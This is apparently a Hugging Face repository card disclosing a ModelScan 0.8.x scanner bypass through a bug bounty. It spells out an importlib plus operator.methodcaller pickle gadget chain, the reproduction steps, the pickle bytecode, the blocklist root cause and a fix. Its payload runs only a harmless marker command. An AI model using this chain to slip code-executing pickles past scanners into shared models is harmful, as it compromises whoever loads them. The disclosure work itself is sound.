YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ModelScan 0.8.x ACE Bypass โ€” operator.methodcaller + importlib Gadget Chain

Summary

This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x (latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.

The .pkl and .joblib files in this repo execute arbitrary commands at deserialization time while passing ModelScan's scan as "No issues found."

Vulnerability

Affected scanner: ModelScan 0.8.8 Affected file types: .pkl .pickle .joblib .dill .dat .data Impact: Arbitrary Code Execution at model-load time, scanner bypass

ModelScan's unsafe_globals blocklist explicitly blocks operator.attrgetter with a comment documenting the operator gadget pattern, but omits operator.methodcaller, which achieves equivalent method invocation on runtime objects. The importlib module is entirely absent from the blocklist.

Gadget Chain

importlib.import_module("os")        <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
                                        (only attrgetter is blocked)

Execution:

operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)

Globals extracted by ModelScan

{('importlib', 'import_module'), ('operator', 'methodcaller')}

Neither is in unsafe_globals. ModelScan reports CLEAN.

Reproduction

Requirements

pip install modelscan joblib

Step 1 - Verify execution

import pickle

with open("poc_modelscan_bypass.pkl", "rb") as f:
    data = f.read()

# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)

import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())

Step 2 - Verify ModelScan bypass

modelscan -p poc_modelscan_bypass.pkl

Expected output:

No issues found!

Step 3 - Verify joblib.load() also triggers

import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires

Pickle Bytecode (protocol 4)

PROTO      4
FRAME      107
SHORT_BINUNICODE 'importlib'    MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL                    MEMOIZE (as 2)   <- importlib.import_module
SHORT_BINUNICODE 'os'           MEMOIZE (as 3)
TUPLE1                          MEMOIZE (as 4)
REDUCE                          MEMOIZE (as 5)   <- os module
POP
SHORT_BINUNICODE 'operator'     MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL                    MEMOIZE (as 8)   <- operator.methodcaller
SHORT_BINUNICODE 'system'       MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...'     MEMOIZE (as 10)
TUPLE2                          MEMOIZE (as 11)
REDUCE                          MEMOIZE (as 12)  <- methodcaller("system", cmd)
BINGET     5                                     <- retrieve os module
TUPLE1
REDUCE                                           <- os.system(cmd) -> RCE
STOP

Root Cause

modelscan/settings.py line in unsafe_globals:

# Current (vulnerable)
"operator": [
    "attrgetter",  # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],

The developer documented the operator gadget pattern but only blocked attrgetter. methodcaller achieves the same result through method dispatch on runtime objects.

Fix

# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",

Files

File Description
poc_modelscan_bypass.pkl Malicious pickle โ€” passes ModelScan, executes os.system()
poc_modelscan_bypass.joblib Same payload, .joblib extension
poc_modelscan_bypass.py Python script that generates and verifies the PoC

Ethical Use

This PoC uses a benign indicator (id > /tmp/ml_pwned) to demonstrate code execution. It is submitted exclusively through the official Protect AI / huntr.com bug bounty program. Do not use against systems you do not own.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support